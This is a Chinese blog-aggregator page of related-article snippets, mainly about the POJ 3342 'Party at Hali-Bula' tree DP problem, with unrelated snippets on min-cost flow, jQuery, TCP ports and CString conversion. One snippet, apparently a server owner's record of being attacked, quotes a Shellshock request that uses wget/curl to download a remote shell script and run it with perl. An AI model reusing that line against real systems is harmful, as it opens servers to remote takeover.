【POJ3342——Party at Hali-Bula】的更多相关文章

【poj3342】 Party at Hali-Bula

http://poj.org/problem?id=3342 (题目链接) 题意 给出一棵树,要求在不存在两个节点相邻的条件下,选出尽可能多的节点,并且判断是否有多种选法. Solution 很水的树形dp,2个月前的自己Wa的不要不要的,现在的自己1A.. ${f[i][0]}$表示${i}$不去的最大人数,${f[i][1]}$表示${i}$去的最大人数.关键是如何去判断方案的唯一性. 对于节点${x}$,我们分情况讨论. 1.${x}$去更优.${f[x][1]}$只能由${f[son[x…

poj3342 Party at Hali-Bula

树形dp题,状态转移方程应该很好推,但一定要细心. http://poj.org/problem?id=3342 #include <cstdio> #include <cstring> #include <algorithm> #include <string> #include <map> using namespace std; + ; char buf[maxn]; struct Edge{ int to, next; }edge[max…

POJ3342——Party at Hali-Bula

Party at Hali-Bula Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 5418   Accepted: 1920 Description Dear Contestant, I'm going to have a party at my villa at Hali-Bula to celebrate my retirement from BCM. I wish I could invite all my co…

POJ3342 Party at Hali-Bula（树形DP）

dp[u][0]表示不选u时在以u为根的子树中最大人数,dp[u][1]则是选了u后的最大人数: f[u][0]表示不选u时的唯一性,f[u][1]是选了u后的唯一性,值为1代表唯一,0代表不唯一. 当不选u时,u的子节点v可选可不选,dp[u][0]+=max(dp[v][0],dp[v][1]),再根据所选判断f[u][0]: 当选u时,u的子节点都不可选,dp[u][1]+=dp[v][0],再判断f[u][1]: 在这里可以用map将人名映射为数字,map<string,int> mp…

poj 3680 Intervals

给定N个带权的开区间,第i个区间覆盖区间(ai,bi),权值为wi.现在要求挑出一些区间使得总权值最大,并且满足实轴上任意一个点被覆盖不超过K次. 1<=K<=N<=200.1<=ai<bi<=100000.1<=wi<=100000. 最小费用最大流. 将所有区间端点离散化到整数1到M,每个数对应一个点. 源点向整数1点连一条容量为K费用为0的边. 整数i点向整数i+1点连一条容量为正无穷费用为0的边.(1<=i<M). 整数M点向汇点连一条容…

jQuery 遍历 - parent() 方法

ylbtech-jQuery-sizzle:jQuery 遍历 - parent() 方法  parent() 获得当前匹配元素集合中每个元素的父元素,使用选择器进行筛选是可选的. 1.A,jQuery-效果图返回顶部 1.B,jQuery-Source Code(源代码)返回顶部 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD…

(转)TCP注册端口号大全

分类: 网络与安全 cisco-sccp 2000/tcp Cisco SCCPcisco-sccp 2000/udp Cisco SCCp# Dan Wing <dwing&cisco.com> November 2003dc 2001/tcpwizard 2001/udp curryglobe 2002/tcpglobe 2002/udp#brutus 2003/tcp Brutus Serverbrutus 2003/udp Brutus Server# Johannes Sko…

【转】CString类型互转 int

CString类型互转 int 原文网址:http://www.cnitblog.com/Hali/archive/2009/06/25/59632.html CString类型的转换成int  将字符转换为整数,可以使用atoi._atoi64或atol. //CString aaa = "16" ; //int int_chage = atoi((lpcstr)aaa) ; 而将数字转换为CString变量,可以使用CString的Format函数.如  CString s;  i…

阿里云ECS被攻击

今天发现阿里云ECS被攻击了,记录一下, /1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget http://lbinvestment.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt http://lbinvestment.com/shell.txt;perl /tmp/shell.txt ;…

POJ 3342 Party at Hali-Bula / HDU 2412 Party at Hali-Bula / UVAlive 3794 Party at Hali-Bula / UVA 1220 Party at Hali-Bula（树型动态规划）

POJ 3342 Party at Hali-Bula / HDU 2412 Party at Hali-Bula / UVAlive 3794 Party at Hali-Bula / UVA 1220 Party at Hali-Bula(树型动态规划) Description Dear Contestant, I'm going to have a party at my villa at Hali-Bula to celebrate my retirement from BCM. I w…